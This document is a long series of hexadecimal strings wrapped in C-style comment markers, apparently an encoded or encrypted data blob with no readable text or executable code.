432ab3f1ef893ef4d409ea7c70ee695231a120e8cde2dc8dfee71e8bd67e1e16619bc6963ee621e580ee6f4fd9e0442d8e35f5dbc8e68a3566ae34180cfa5a440eeedf7b567e1f988fb0db9ff82c3ed7dbcab769f656f66081162932a563baee31e1d502540395e72c7f6f62b24e2e26f8fc06b8c1a24ff3094ad32d7e2cd8151170e18444747daff568fec33d831774e176aea3228a83266a1515ea41a0d8469c7ebdeb7c8d366321cc7e8d5831a008ad8964d067ee872bce77692f95d1798a5e1f1b6735446051454c3fa8cff3bef56068e575549b8c395872e3f9d631e08e5f7deb8ebf3fcd3a6886efe56f3e02816be844efcd993ccd67561c829e473f068530fa7d8f0c0a9be035366bfa05e6d16eaeae9e160a9beca733d97a2f9c40bd75b70a1e267cb120b8b7480942b655e871e656fbf78f9f9d7d07ce2a034458d4a5d279b432c977a4b9e03bf8aeeff4cdac85885b2573d7963fff120e3a20f9f9e83ad25f059c9bee6c13e2b447b952e677dad3e9033d1caf273a6ba34276be186aa6b76c81e16269b883f57f5488fc7a00ef1d1592dbcddefbfe0e2edc0fee10d4e9fc7a0d99b62aba15501a60e88ea792fd9a9834410561239cab1e481f9232e9a7a1f500f47e6af20107de1731a48f2d1d8984*/
/*666f1ef4303bd38b19220765fad3505e95536c3cd953c1fd4ab2c048d3b45bed506819fdda82ab3bb8ed13bb308eef87f22d2121e1ecddbae486b8c495d3036182aa9c0c54578ba2c220219de2058d5274bf7f004e4207dc127bdc4f0a3f0b29840353018fbd75156c461e73c32ba7d681669023efd7b3b5bfc83dc349cef09672e75a463502c10bd16f7f7a74097f1bd2cce53f971ac304bbbb8d50189510a634a00845be1068ba835d8d4758e7dab60c19c1263f0bd5bf2bb07541ffac9cb0155364e915682ad6eaac78f82bb0cce9e72ab1d788bef50399fca256fbaf857258522f6c105e4932ceaf65302ef7541a263a615f580d76835dc0a475206883500d729a870442d9eb1691fd98b87ce420013eea5f10d2c05cb40eb699f4f57da7c97c2795b860b2031dcb933a4e9ca0b641f8c2b3b48d4442211556d9b1aa709d890e76610fc76827f83c32d2dadaffe199087dbe9416a2e4643ef0c66fcdc7d4dbfd47f6a926b6a7cfcbc6b75d9fb03e8a24f449ce3ac72da1f783eedefb681ce24aa037603a60364505dc3d8021a3e428520b5675b4fd745edfd5fb0df24c9dd405c3fa035a1c74ee2981c386ca66ba8a580eaaba1917e18db2577c0c0c16f21e3f4ef05a975dd9a5632d682891a52c304b315201badc4796d105cf8486e1303137574160cbb5aad09e02ad983f2e277df35d5c1d08f8ef0957e1dc5310925f8903e59884fc8f3a94053407543052c47a7e3e0de77f7b428128dba0d88a53dcbd016b0c8786c5c8912b7adf3bffe4f0024254d52ad3623e48ceaafc2195197cff0d7ad90130e8705d0b62b48fab6ae54b935b5b28c456052cc1f92e66b4fca7b689f692f406b187cd7bd528113295ce70d3fc11fcbb2750955138c132aa674f81fdb98e1c615c561e78f9c6be895964327bd4997044f8a27c67b92c6391071880c7bfd5238e2f982cb964d16ebc37350907383f508a0795b34ea17571708ffaefcc7af010795e59d239d75245e27a02f14c9c03843d50701d48e38182a494d8b1bf2b959e93f40610403d370550badf98c66df6ef842dccf2d91441cb7312b131b01e03ab49a793f9ded93fb80dfec66e13478e197a3c180003ce4db1fc9f421996402a45f865d0657899da43e2ec6484a396c524378ac2310d48ee5414f78442466f50f58122fbb622f439d8aa3e6116786427e40e357c13e5811c3fd48d72348e0e342eb27cae8e58cbcfdfd872bf35cd1fe81df8ae3e22101dbb66011d7451016be12a2883e325b0d7fb4fffd06ccd34e0762a5f732d529767014eef6c275f119d55cfbde7b957fdf7765a85ae61109db668d50c592fa33a1d0a8b6ccfc2a66333176fcea137d1ed7802b1e2f505a1dea15cebaced165b0de5c0bca6204eb541a529f84a8f04c663a9ca33f08f9920684723469356dd758bef6f365db03c321bbc3fcc14baa96d38b169561b46111753a255c7d9392ee4c7503a71308d7dfd1c4c85b4b880cda09078f584803637c03f53eca069da9d57d4d954602a923ededad22fc87d96759a1210d692a59e7c2dd01400266a539bd7ba7f3db6cae224a9d21639494a035222cd74ca40a7e56c615a4a01ee3370b89481cd29049e3b6a2a0c507706706d6b3995a8af4520896118a6788e5b34b7c6c472589fc9f94a9eb4f91b478924dc51421d2fd74ac39adbd8040ea496986d8f15a63721f5bb2d92450ac4e02ec53942e83408992818273df9e4092f43d53d2657867dad3ae873e2a810fa719c86666c8451bd624e81ecc9eef14deffe35c454c8ff39352ccbbb1fc3068fec1382696de56ea07723e5e966fa2d692f3480922bebb3e7be9b2dbe49f84d4735a1969d62e3324d275122294248b741cf452aa7771576e4962d4ae2c357350e06b7adc4383406b4144c35208051aefb336928f61c1ba4ce98cd84acbf95155bfff8a849ac7ebfaad52c8a32163bf5ece51fcc82618804479dc9183ad89e4d3c3d0092bc273f87bc60a5f3e7276b7708b06554355058a357e51bc76a8355158c077e6f3085a503c3ebe508aee9f82d1467d2a22093f409bd4b1071eb7c723a7e7d422091a9a430c0e21d35e25dc50cbc40981e0d7eb71a734b2754bc81d32729f4884b463d6ac675207df7e8f5b82142f62c49360a9a40dcd4c553f8c7a38f418cf27f705c6e969696f1e89d56c0cbf410af90641e97fba5f9f49587b973e338b0d0184f6917cb90cfaa6d05fd1ba39ea4c446e89c8fef1520146df012275c67d5ed5cf5ccbdb09e40d911f58a3fb3e3b51dca8df790d4a2b5f83c2d4009afe3694c19ee4bdb8ba551384c9e0af9ef911f22ca46fc183d16dc56a7e05c45b1a4c7af33e5052db7b6af298feb72657d1e0827c83786cf0bdb2a8dff5c67064ac8e1db01bc14e4d39fe708dcd336469ee3d083a25f9415d27ef90faa052f24e20a4fa4f36dc56e5a19c9712cadf451f6aad7e7af3f4c08744e1abae470b4ad8b03996b965f2a7575d92c54d0708d9880aa61e2e84cc60ab848ce6f879d9cff5664c97e2ffdddf165ae52f64df4aebad04e023e18e38731847eb0e14906779dac960e8190cf985082571ba1d17c29bf35536847da1dfc0c739059cd58d5f34d74063c7bf05eba2c4c6ab8e7b5bc369396efd62eacfb14db8976dc2e28e13d06a9ab6e156dbf5b582ac894b43ed05618defe0e3de77ba84e3dd87f5407aa11180d670cf2b478396551258b84bbd7a75c5220f10fd7ddd4de84fb6f801eaa8f84ab06759fe87d421137c88fb4e0f640aa6a7c73dedbcfd69a405afa82a7aa5bfb85a74a5922064f4ea7e6591f08783b*/
/*00a1c24c85e4d60d36802c538eb55cdbf2212c84550cc6bf858208403f1502c43817e0ae2b2970de29124f5b237937673af8385da835cb18de228c69673e76494b667539173a2776df8e3e9b6c688dd1f3c30da2ac3fbfd3f8455ba30d77d42525c7dc9b841b6814c2faacfddb190177a98203082a45a838cea568cb1078fd768be2a6ce63683c9e62c5e0076d2699f4bf442c3bcba72dc4245d6bec08820765f20293c5429f64468e91d52323a77933fba6650d1b22e5270b04c306a843a0390d03c6dc54764b368dff23016a3297e52223fa4dd291ccfd2db450e37be38132feae0e5a59a5a2becc07f42412f9988ca93fa1c13ab4b57bb1b7c9643df536f02907e9921aeeb78742f62b6d2655675bd534410a7e00c15a50c8e43676f23859c8708d0761dd7058814ed2f53868d52ef6de0105de5ac81ba93efa1e044689bc4abe2fe302278892702b651e1ce72e8911ee96c641bd175c547141154cf86adb0a3c5023956684abc04935b5815256d11710af7327ddd411471dc254b64ad5375a6d3159a2907248f1921f20d0e410065d8fea0d1b13003f8a290d18c61ae8ada224e183a6ac3d4fe3a9301b177bd08f6c463df11f2ed353546a076777faa98b08528906dfbf53d0d8e832a9315959b8a810a7efeb5a08136070783438bf1979b45f3f6126502f766eff1715ba08123c8ab34e1c5ada8031e882a178cb9baf4fc54444a4bdb91c33378a9d9e048db7aa063c69284e53682e4a91e11eb3e32182faee0bc1dc66f1631c6cd3d406f55a3a5298a8912effcc4664a6886db9803ad40f155c558f47bcf85effa98b695cbf21bfd8fc90b95c615c5dc1484d8c2cbc17f6a5b0cf60f5e50e8df57a97ac1ff4d871040a276de4e6105ba5cf55684739e91aa69e557b2c8d7eb9149420745fa5b55bc06162c653de0d76836ab7fc0f922cd9fdc0e338e027a1d4ba6bcbafdeac9a0bacbd425e70fb5b741556309b07dfbc17f08d036a7f4c6901c872db58f68e2473a495aa5573fb39146f3d07889eea56b08cd293acdcd0289147217e474bf1fd6e680e966aa98822f9192232ed61221c689980de7e716092ec24fa684d26a017bc893033c1cb91bc88af402624f25b912aa26eb557b18baf719ad1e61971f3a148c7ee05269a20339ec26b0ce690a3261411b1e84d6c9ca36fc6d9cb980920d5a94a547976c61c4c23f3fdc7c7d82ef3b265eceb2064c7bb36399f8c6696c2d36dbe3243baba4713f1567ea2a787f1d19c6da6ea7705bb1d43eee3dfccbe0e2c01ca160be14175a4e017ada8d7bdd5f52ebb3117bb3f1a3593fb95c4330a6dccf5e4869ff368481678e6d983dd804efdf39babf86e2bc69554ca0f96b93c8852f476e2ed56d0147e7488606019647a35c5a70f02ca83ee885d3064ef06947899a10a18fc3c938a7f8e294d7dd8b443af29590ce9be550e7a337ebc08660dd43831c5d7d147f23db3f334a9f3ae7fe8d0d51fa532134412175267e123bd9a77cc462f467438f663c83a514935ddd56dbe2c88d3f31e3b9bc93a23b991156f8746f081ae9e52cd90039e983b69d6bd34bc1983703d0b5bd950f107e8ed750a9b7f195f0fa98bd0e5bccb1612d71b02fe4cf8e6b3a4f869724d7fb65ff960d7215ec471532e32b8213502fab0096db5b4fcbf3e22f94e9b4f61ec3306e7e0c7c800e30cf58c865f980a85fc1320eab38548e71c077efe7fe9e1b1df02f7cdb55882c001767944941492729926b9c0d584654c814602ba7841d05586f5efca7db4df2657b2a288c716162e80d2103a543bde260c49f944ad890e020a0f6980ac5c487c43c5c75f536396f22490d51ddbab0d3e975244d89205567997554966bf5840967721b8326bb8373648a11f3b996ff102d79d6d7e31087e45987f9ca453af3ddc2e0c90b02ea4158424048165ff87735a7d7974d133e0331908e4704e16706cbd314475d081f34cd3b2c34fb9dd1fd0f97ccfb33b8bdb68680706ba4591cb20579b945aab2f690fdb47e6c3c42ef1565128681ee444fcb0e0cb6c303445edd74e326da2acfc4e4deeac3435b3216acb014434693b7e7910d90673e9d28d0ab48823eff011902b8ad255acadfbca6a9f2fd4b7eded17c1343344471c249464cb0932d9f9e9311b53cc35f5ad53a3199767c8341a63c8784484b4d2e8aaebd6818147653fd42e207dcbc667117ed47eee99c5e317da789df7bda059d58d63b10e4e3808054e07b81adf9a64825778afe151339c8dfddc4c805f21fdc8085da10d37178ccb81ff95b662abc785a30c41613a141f72f149265813953895dff6769a0f088aabcc54b88ba3ca860a576e5ccc2dea444b105fc962627af78529de062fb87cd1749ad0aa27683b57ce6ddef4594c40056675c7833a70046a09362fdf6f6bffe4f31f50e3ae3cdd2b5ca3bc819cdb577349b4cb09db872ded8157b81ec56643768265aac2d43768715623d5557a7df3fa59f747c41d66d5dbbec7abccf41a84917558a3270c94934040afc4ca6ceb05af98485714d03166aa7cc313d0546b256f4ba765d048a89b620c064546b5247561a87ce497e305591e5a35c6c8104865c909a9e413e5004e58f9b282535f5202fd13fd7e43f7a4f028bc294c357ceea6d63b9e491ab229c8d3e5fac4a30b40f96de2318073dd1ac517d7edc67e92224760abc90b5fd7adf1da26f467c5a85e2346d5b89ba3b7b46b629fa607e52c48f9f62fee25f3d4825f148ae0dbf56377e88cae66b5146877fbf12ed24bd2640136dd8e7999023588b1c7ae8b08c9f384d56bcbc7437bb45cc822b2a86a23b7*/
/*4cf1319bfd8e36ba9e2ecabd334d2da26be9bffde434ed689ec4417cf51497cfcd25e0c0301b075482fd983531c34853bceb497a2bbefe6e107be11da813643e1f0b1064cee23b0d7ee7b1c9164eb3c376f6507ccd99a88ce9a1203527c08573c3c2603fc4f4bf82c77e79ced12d276f09c6749240cf82c569dc95fa679a7054e4b6006261267542da0432fb0c2fe7b1f6205d2708dd70bb9961f1d41efd3e7be4dc2c7950b25f4f4073b267d068c6800fe6a85720a2a8523f12b7485177e7437cff2a24b353cb8ea812c939378c41faebd73487d3b9986dee36f3ebc3e354ff25b839c8d6b91a9246504a6ac58d840c1909b0b88a02420a2ac333d3f59d72f20de4eae6c88aaca91845ccdea3f62cf9f0f9871dcf17ec0b93490bf9705c7aab94f7af21bccd816a3e609cdb1272eccd6e2f5710f7095f89fd7528b0cb81210cd56d9ca61df56e42bdcd89a8b729575ac10c4797506e83d31a145150a5664276288317f510e64f98609334b1eff9876536d548e833d6c0d369497a706402e958ea4c001e6802999de5793c4dc8dac88dae06019c229ca1e57fa42834c97a2d053193aac138b67e022aa9690da37adb4b1e80805d0bd2550393829e04e4bf4dd8074ca6f66cb4ce522e945764347e962616433a7a469aed621aa45614fe6a18aa868363c1489615673a66d4c68730f0da6090f933797779cd3a95c3f30d4dbf03206137fa8dd878e211e31a23d206bdc00d08653eda2c693dc99cbf444b4372834c8aa28021e64a677e4e4391f1eeca8423d60fde11971ae503e62208883c4f8b84669099161c95bd12c51432c6a8294e7c6e08a84f6996b54b9f5f4cb1cbd53d1599ba34d16fa7f152614768d20ea7f1407a8a27320650d448c57dbc95dfdf8be40800e80222f0ad1e727f95f3416325f5d8ed7eccb0ae35624eb80ddd31d79b96e4279ec33a6eb2807dd041c927cfb64f1e0478f2427063e589573ed0896b88c7e93d4b5344f92dd3754a61be9f2d89a923e6cd7e289ffa3bf1a9c7c28378abcb29b7fa73a5274fb1e376f309d9d6bc61e45248a7ce2bf9953645bab5f0cce843790f15fe10c52c66e4de4e421d1fb2bde0768c8aadbb8cbcd0436ef6eb62448a31762758ac15c4522eb268ddcc8f0c8fcabff12e5db01161a282d3589bb9db621063d4c700f1acc02f7a9269cd6e5d9d4b93bc620657f1477e0ad6ad051e0c8836c845e4f8798b2283f032db1cf335ac7eda7ce07a17368e4ec053c6fb050ed3525aa100a0d6082037a94c770f9469534f95ff52da94571e3e43c601851401323ba20062b5f701717ba4082422674e86dc35b7327a554ff36552e764133d7798aa00f63a32a55bc08d9d1178850b8b542050b7cfc0de11f63ff2d32bf1b73ad969730917bd6357f7dfab9dc341e1c96310f2c30b4333292340c56be1eeddb43b757aa09b00780c22213dbf18cd57c07361d88bcbd4bad3f175db54fd1bb31122ca809b58440be746bc770155867b8d8733b352fabc2c79d65ea65c1132a0bf0b664e03a09be0a9baa0ef8c1b12fd2c28a69fe14cd3fc498ccd4fdf3af900e176249076cb915cffeef61a6e002d8895a6515f6ed4ea81e2f578c901a34be9e6347d27d92e34d666e15c8a2e76ddfb40748c440b28d3f7d06d6f905f1f1aaf9b56eef4d8dae8c6ebbdf56b3f1ba9e9c7fd55cc43154661de8a66e40537c82bd80e00c35648ed91aad7684f59fa0a916f85f6878e110edb597bdbec7329f3f2e41a420506777c8589fc4c846ff176731e4b46ae70f0fcc9f5b447e1bf9aec8ae0483bbcf54a3603d8a4f82690a045faac54ae3a53e1c8c569905c91d335bf9fba5d1a4c6744d78e83c710973f0fdb0d956fcf597dd90cb3c7d2fd8aa8dd6073850a51833622af9a8095fcef7a74bb177b5655af595d55db1afdd849a92a5b8e86f3939bcd5045bfc743794d2a3544e4757640fa4f115c815a050c01e0bb82e211e8a3668167840e9125562ab7c5de38304336c4effea7cb891be23ea4798b83149891dba857338d5bf15d9813220143e0fa799cf18ecb31ef393d9e5a3e125b1b523ce668680f1830b2c40fdd2004f15b62642c96e0ea7f7e6f17b941b874b2e97f1d63295d6bd69f91d62e3c0d5782925d2903721f72ee091799744ceae227daefba19acbd62ba748498c1bcb6c7a8ab4be8d6a95ac1d6b713ba783a03d9f634688ba77b2f6c5565fb0886aecffdb4ab8c4c276591d99f1f7c0b05fdde181316892a06d3c44cbad09838cc356fd1a6afcc37627cf30361b7bbaac475bd70aeb4470a7f94e535cc219fdf0f7a4f614a4a66f0dfa4b3f750b19e64277e186957c2de8849eb8a85c96253d9994124989471a2417fbc9def7cbd09bf0f8b5b6fd4feb78df3f1564d53e4aab7dadcff18f8b067027f987f188d992e6bc3f5ef81cbb5175de6a453b0d4147499d5fc98d16e59ba6621999e49e5185bbb3525bc0d53e12b686e2f47a247282d6e4b4e2004cd27e047333a1e0ea958411578653503c6d8fbf2c75547133fc1a4724083adca2397f43f626a74331a93d854044f75608e28bf138c7e0583dbeb5e27b1d688612ba5ee651e8cee8c8ece4bca4e70c09ad5689100eb18bfacc4747a314a9b93662eb25c821a7979e0b0f822bbf5a969dd7a5e5ac5e381de7459319e5a58657e6bb548171056f4d60f3b8cb0a588782a2ed30fd7d1f9b9c415ea96907e7dcd23adffbd614a72a05ce07e143ad7c512eb2ba8340d5807e452e57cc40a22b8b9958fdb0018d475f261c018767afac2afea454a794e3171af4cb79b1c20dc169caf2adeb6*/
/*342339c42f28db03edfca41697fa17ff470f9b798a587c5adc5ca1c5281aa4abdded00dce2e67f030868e7b776f188f037276c3291e739933cb93ea1f3b6a2a49f6972ac9824c8286c0fedaeade9a30e458f077be8b3f008c1f31190c4adb658696f608db68111b11c3aa0223280abb4cea63fb7777dc1b727769a075b6cfc615a0913262ffe7461289d9d8139386c4301e2ced947db06a36b86b75bb41823907c9dd6cf39e982979fdd3c6048979144f8ea3ca5c8076a74d3703d17d3fce120e57e4d8471625b75bdef21c2307fe9eea8ec3ed6e904e1fd3a8044b010d753bd3ccb8d33fe756225bbc1debd1daac42d2c0596fe30808c14ca0a142190da525122e4ccfe371ca6f7c4f2da6f9f6e4908912ec4ef02d700f03c8e4587dd77ae04d864ba2fe1af939d8b9903a4452fec8cb9714abc9e90ee219a73b373bdbecee03932eed1d2f006babd052c40ca0334477842dd7d26123e5cbc5ee53d1c77e5e00c39cd0dd7be371294bdbbe4246a3de3ff9b25d163a14b0a4055f55be84daba8194a76a4de75643bed36aa9a75fb49469fd5f5fa2e865519ca87b500aefe0d23f76c485bb3b26d42d40a36053f3c95051310123b8b9377c1562080c900c8749abab29ec34d1ba6a3ffd67ff649c20d5f87552b42aed3ce3cdcfd81e5cd2b6c9fedf8af444a0f108ea1148e8305de21aff134a75ec65414a7777473c5012fb00f7c2f114b0695fb1f8432950486c01ac682cae76f8e97ec9496812bc85da93b1c2055774e16a8122bef93098db5691454227543b3cc8b1ec52f8c6024e94b70d8d4f33b8b4fa2628fa3cb2352cc259b662a3ccc76cb575f34a5e6c6fc50a16d8d7693844286d7253be856227946b2726121167304011d81cedf4fbfe9554728e324ac30bbbfe26c74bcc8f3aa78928648edd113db732b9418015ae218139da1ad7ab45d8e55e9a6651b1cb814698715391dda092e7777a1aaefadefb23c16dae14d40312cf30cc674b379584b46cafcfa7e6497d2c25514a477af6f0b7dd35d1ec7e471f9f3660b48ce33093af51819e0f225b0913a89724991812d8ed6217957a75c5e6fe0e7e6759ac877efa00dd3fdaf60f8845918bfc88129d71449e0f184d5e24a4fe00ff576f8fd6fa628d124bbf756f913fe29d5f5b6228401caa5a180b5a745535332218365c0b5385fb1e9f15c3f59fc27de81b710326845c444462a858f76af078af008ef3cb68ad948ddb043e247ddd56e75ec232dca09aafb88d3b9f251f9d4d6373118acb37cf516c713dcd0ac051838f32fc8da5cef0fe31046b8ee39d4f553f0a24c67bf54010ebe01d5be14efa779840e2dace4d91f8b9538d0f6423bc769b3a5348a130bb712b9dc17060c529a5c738a2bf9677ec69fc4f9301bb6fb96caf209ecad28dbf9ba7b3f41e3fa2bb08a10c7d1358c632f664296c57e8c89bcb3452973f906c61ed2d005a086ba6256515c3139b136da6442072ed8345403f74607ad3c2f6e45a6e1c2d4b353b70e291541392caadc9f45da1c92b08e5dc37c81e89b660a03579c1d4fb779322e449009948e61693e7e70238722bab7c9b65d6c2a21b6a7bf9d36ac45f9686867dd73d6ac5d93c6e9fbb32146a0ee2775e0c1620a3c6c4d92681ec1a2307781e9ffba9d84df364acc4afea57cb1176d418a46c85a1de4f0be2ebafa3a14de3d52739c665c5c65e6db16cea264c4b7f7310f305057736bfd5e5adbc7032bbce3b5ef53237ae0ad977624f9d82e95bd4e5b759f90a2ef52c1e65f158dc71220b5209820dbae4d3571d54182abde2b621c53aaf797b849efe1f1c67b2ec396ec474c511819635c9e48a3324d3af4ff974dfa3423f589b737f9592e7d9ff81b59bdfd73b8d31a4ba9dc0b929f9102a4c958fa9c42601e1b25ec33fcc0ee201de795e674d28f959b85af97b2537efff577a8a191c89e44755153875e39dc20d43f7ec893b28566f69b24b1a79d507b443933545428efbb1c62c93a023c09424bb36b35ef78464abb331660a80c937a22956e7eefc8fa9ecc3a02f2c9a24a1e3c7619b6c04a6fccd2224fc38f4c8048afda69f71a97d91a2c860323d0832eec8056faf5f67d1d6672eecc446660b2c522c336427937fbeaddf11fe48f3e464b635f32403a0a73268b49e05824384c633857132e6bf0789bb908a242fe147b72452e273059578f45c9980516e3c334eb18e445e6cf2add95b86b91e9cf2bc6df1651d9d7ea5d13b1a2dbc4306cdce0361c656824dc20d5dc7653c1f15128e17c063790b358fe6c4d2bd0e0b312119d0b1ae59cf73903ef6edfc13973e47df9c6082665c00512ad2ce72dc39984a9350c7344f05c8eacd852ed92bfa9da79f38dbd780ecfee812a1bc57aae62c10e26e46d20d9443841066885a71e38c18d1887272a118d85001919e5936dc68ee5afa7c8b5194acf57dc5b1537adf15036041b5fe466d8e7518895f6a1990becb5f445641e3eca444b314116e45abe00ad103ef10c955605d7d04f66737503b10450cc33bfc57b62e5a6560a351ef0a007ef71cec514b1e146be07bd210bc8e9b0b09d0bd73a359794282070fcec6ecf96ecb84cbb8d9e87c018ab121df8afde1731522d56cbca2aa31496a19153f6961d8ac5f2da50a457a810052ea06a3f9573520f527125233ebe9a706417f518793635d2f8022c96d0d32aab915c4cc7c609e35f26fec2b2c3dac75e0f7b92ddb2ea65491942c2fdbda4532ae29341b5c40849a56bdef78ea22ea2530ea2331adabd36a4fca318482aed9a8e3581513a156eab82087daf791503f28594b02ba0960452706e*/
/*9616bd8b017cf4b295846be7a0f0f1b310ac59214c99496dc282c868b28aae2a4ba0fa30aec7be82784e63d6f9e65fc67b38426931dbbf43e9e9105f846acc5dc11acff79df6490cb34115304c3e1a24c14913b5434848d03c810975d90119a5948fc2ee5afcdb99b1aacf780c9ac2df509cbf6a37311ddcea09c9f397e1dd580ff56a2bac500af3f398dbbce9a2e08208fadae648af53b7a6c2d245b553f79644afea034f48b05ce217adfc009bc3a60dbe6a2d2ff1d5f6bd65cdad711b3954403fcbaf86c92869f7e3c7314b040e489d7b44643e12fd51a131653c9336d295f8aa6db5d0477850831fc3ff3afdac7d4bad17e41e2baa45e24df7ab4792ae9abecfcb0cf0c55453fafa4f41752935953cf14e6639acaea7d896538ea78397098d277055a379fd410ee5711e251a018502a6a986f663710d71faee2e5a7b0c0477ff4d745fb4765f8e83a92f279070c5656f19fed53c5331d6e70aa85e38871bf13b5d883800ced8fb52ef6abbe6bb7b9924af0d9fb986f63d6eaa1eed7eef7e0ef7d15780a6f746ca1f4d6ae85e601fd6f4d6d07d43f3216fa9d0c44633877ce51f18db7a0b4a6269d3c8aeb175eb02f3d84c7fe2da31018bc4cba5610b4a8b890d843b8ee4b3e5b4186745b027333d4ec156497657002a14c16e114a65303b302754e2e9fe022061c9d236f8ec694ef5def4a7d63cc4e7380b21e6473a0c6b05c67d398ac420808f5bc7aaa79f240469dac7ac70679ad69cd0485bdaa332f9c7c2af4f60daf9132599e0af477af41a9223561efb83b59e2225d61c37d42201965073f0d417d7d83894c568a93434fbfeb464684451a5ae9c84b7ea1bff8b60d39f3b768381581f76b1069eefcf669cc8b89b2578ac974f78dac76228bca4face308d4261cae2cd29bee4cf28b69b322e4a4c8ea5782e7492882ec653bae9eb27ec0bd816e08927d4e03b6de897301c0776bfe27dca00139c30a07a4c74d609f0580b4e08c127ddec19f4042bd9bb2b314f340938f54b6c80de116c268e6eca5847d3363a74218dacb8eb0045ae9ce08d3b96c906b43a83ca27430a983bf39c70ea9407656e00017d8653d851985063d53a4c69e36ffb1cb8d7a6c1e60a6b1c186d78f9c46a6283373ef330c322a076254f46119fac7851e24c4a88d888a82e9527e5b4db84608d60e062685f478baaff82a839ba956dca517c0f4bf48ffe59bc4ad96027afe25b05f5d7e3cb045c03640cf160577ccf4e9244051178f8605d08ba0ee5f286cf5a13df91550af3061bb66daafcc8cd398d7f1b570bdc50297d0786b5e9366db0cc609af443c9f0e9ee8b62fa05c35ff1c427abfde1646f9444543f8998e2b7a3e9977fc6f405f29ca4b505f5db1af888a276d5787e8640f823166ce44b6bfb9f98c30f58ab609d4bed8d562a12860e1f2826d07aae0bfdd92df8f9d5b504ddf938a2178f7ea414fbe3c06c41681e580b5ac0e856d9d7e19ced6230e19335f146447eada29db33e8f22865efd580d6e84e9086461f63bd58462f48b29c5dfb58f9de9e28dd76dd26f25953071a0cc4acd6ed9f502832c1bfbe69768a5094359ea55b3eef68356b45a29032af053fa43f7e36ebd4be8d9d07bf086312f7e692d86ef8307b09cf0c6af9b3da5e1c2fb5e3a29395c1729b4b7cc3a88d07fd3c110f555dc7b9765b8b7c5a21377d3631181fbe959d1ea072bc7aa234506c846016073d5800f22b64ff47ba25964949030366572c569bc21122abc1a4985995fc9898703a1c4069a9e7adaec6fd056070843f2d2cde88fa6b3c59491580cef0bebeba793a48f72bafc6f2316fb05766e8d02d3a99d2f1d9b4253072762e3866638f3137aa8c86b5e5f9c813b8cd8c62fb6c7a694dd543c31677a3afb069348d6a91c53b68207207bd0d7add202d3a3866941e2bb8befbf15288e3131ded53ecc4f5073a321eec627f45ba300410874ba541d2744f9c4b01d41b95a04af4e8c5554c810d194a775d9033f2892df7b1205945aa581fb76f0b568fa1d27c05c867c547eb2500674414c0849aec354fd37c43a7345ef669b1b0b9fbad3e3d9a5bfc269614f923c87ffd278ba18d07816e8d1e9ae0735469f25c3cc50729db3fdde5af3aec0cdd32be2fce8fff5a2bf47d95d0ce345319bf5fc52c92193e3da3b55af0d9581cf63efee18a8831aa050d9da7fd1384a22f0571fe7e281f29323c84d2d89a401e38f9e7bf57657403b7adc7e0d50b650f6ae7037a5fa2e3e7af1868f2e267a626f72f79623564872a6d8e0ca6aa8c1cd5e4dbf4c8d8f8da14a8d102357e2f25050e1195a904e24df8cf5f8c3c09f93e0cef226ed5fb979a53288c0f7c3467a8549591c3eeeb6276ad4be9f8b076c3e6d1a5eec4790aee46a246d0d8a094de51002046391aa20acc17a586d4948b0b854034464703504c9391a8f4badb3ea5cbdda1bf9c5fdc7bbb074f20f92ae0453a339e5635fafa31901ffb20254e1b84928e2c43f2c9d9880dad63dca1fe5a849ee3a2c06cccef3e3beac7eb2e0981549cf210010613e37c9b62752a8566d056329887cc9622a41e4e33630090873b5f60e9cad97f93d1f37cc19d7fc92a4af879b75de2e9bcb936b1eb0e5d3570ed679403f60b753956afaba036490f3ffc0e471ea792bbf01ca96292f6614e55f12509c725e1e40ab5ee2b0afd6d47d35093642dfb98df4b2cd713cc08d021d6f6ba00da9fd9296135d17287bcdbf9cb5635e0c91922f37789465117ee4acc6d9eca34809eefe63c43ee9e31cfa8beeaf7b88d8d6fef29fe16363106ae4a5d0efd0575b4f43253ba0b5818af8*/
/*8f98caf2449a43c86ad449750e59ff7c2dcd0ea42c3b1dc7219326b8b1f87e496ce4ecef02b79fc99b867dcf14bf89017d13e58e40a5c2697241573e6044e22ae3de2b546099ccc49d1fce2c6fb53f5aa1f610e3a43f32aff258050ffbc165a8565911eb4fc6777a6ff0f26fa20f16ed37ed33a8b8ef643ef0829c08b62423f0afdb059af3dba926c6c8cc7bb2fd0c20dcc6c0db92b4e2ea962bd73f2c0d0f962bf1d84d6c7173569ddb1f981faf3678df9aa5e578983a48c25864c89b63c8c34ddde4c2180924ea6e7a00a43c3c4ba6670831f2ae35d080f5c7e2286a4ae7506f503813a3355d4cbbfce927853ea938e58d01377605050fbc0996b30fba24328cd1a699f0576457d42132cf1eec69a64d8e9cc35d876c426a19156dd0041e0ce3f9e29b0ba31c11c26bd9afd827bc69b28c75cf824b61a1e9dbc1e93505b0c0595c2b9aca8bf4bbd318db445b2794fce4806711e5952e33613bb5274befd06571c7764586205f930314b428c6ac5587039626b1496f7075a4a887cd7c3a079bbc82163cc88eb2e00a8cc830f8aaf9b7f2e48bf6a485baaf1f557170689dc519171fa82958f38e460f86807355acbda7be84b22a3c5757c873ba13e5bf587c24f5965106c2f54b4255554f05c10db642f3b5da1526a5fa3096d86142c931322f0fcfdfc051519f8f7530a2eafa5fa550e45f3218a0345e872b2d22d41f72e16e674bfdf1cc2bdab919c191a32430d82302f7ba3a9c5735d7cb7a8346b24b2a255bb5e305423e8a41e7a9977876c0bf419d8087f773eb1e7e75edecdfdf12833b73172b334d9a2c27ad86ea0385a4728f4ef3ea1c3af488ba013d5ded732ba8eee338f438c2a8ab2c74092433c0a4d2ee026a9f8099602ff1544a2091eae43f279397d912dca3343dd6b5c43b77bf83a2eb4ae010c4548a8e12ff185e6e2e3bbdc73e4101b50978bb52d95f8b7d2f02c2309fd9b3dfa17f114f139e6e8be96dfe0b734392d0f33ef86539c77ea78b66d9b1b58bfb5a789201c20eab2eb5c73b8796023d2d727be1315c7f2240ae5ca82deca0611b059867404341bc6aea7c33f92514d0a864081407426db08181d6808b5af7dd4401dd1dab6cad78d3e85438c8db60e04ee867bdfe8570a5330f33f6df6b8d42363d6116ff9e6358c54cfbdcbc01e053d906385f7800f5613350093b2ca6225d6c7723e60f338bb9ca701d82535923a6aa2af4b5f6e74e5f9e2f60cc468a5000a5ed15c442691dca06256cbdf03384bea8832b2d8729c996102be567e5a74cbec90abf178804b79e6fec270fe9010a8c7bfc11d6f2eed520b6947667c88515b7d3c2d83ed17e005e2d79363190ac291094e7b65d156483db8e142b0a5a802ba907d219157dddf15f297cc27060baf1d7b464eabcc50f1a41ec8f96b618da2120e1fbaf84ca02d788f77b1137e2a039102ab60e8041a0553f855d86930b2b87937f3c27e04512d5e21c148143d490cb9b047208a6f